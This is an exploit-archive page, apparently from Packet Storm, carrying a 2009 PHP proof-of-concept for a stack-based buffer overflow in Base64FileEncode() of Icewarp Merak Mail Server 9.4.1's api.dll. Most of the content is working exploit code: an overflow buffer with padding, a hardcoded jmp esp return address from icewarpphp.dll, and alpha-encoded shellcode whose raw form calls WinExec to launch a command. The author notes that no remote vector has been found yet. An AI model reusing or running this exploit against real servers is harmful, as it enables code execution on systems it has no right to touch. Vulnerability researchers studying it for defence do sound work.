what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Icewarp Merak Mail Server 9.4.1 Overflow

Icewarp Merak Mail Server 9.4.1 Overflow
Posted Apr 24, 2009
Authored by Nine:Situations:Group | Site retrogod.altervista.org

Icewarp Merak Mail Server version 9.4.1 Base65FileEncode() buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | 59dae0c32108366fa1a61fb75f0fadb241ad621ce1c71c06297158373bccd1d7

Icewarp Merak Mail Server 9.4.1 Overflow

Change Mirror Download
<?php
/* Icewarp Merak Mail Server 9.4.1 IceWarpServer.APIObject/api.dll
Base64FileEncode() stack based buffer overflow poc
by Nine:Situations:Group::surfista
site: http://retrogod.altervista.org/

api.dll contains a stack based buffer overflow in the second argument of
Base64FileEncode() method, this shared library can be loaded ex. by the
IceWarp PHP extension which is carried by the Webmail service. You have
interesting results if the final argument of the icewarp_apiobjectcall()
function is exposed to remote user input, which is possible by design, with
the vulnerable method specified.
We are searching a remote vector for this!

*/

if (php_sapi_name() <> "cgi-fcgi") {
die("Launch from the merak php console!");
}

if (!function_exists("icewarp_apiobjectcall")) {
die("You need the icewarp extension loaded!");
}

$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";

$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
"8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
"YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
"wPQ6EvgPKOksA";

$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll

$bof=str_repeat("A",0x258).
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
$eip.
$shellcode;

$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');

$source="AAAA";
$destination=$bof;

icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );

?>

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close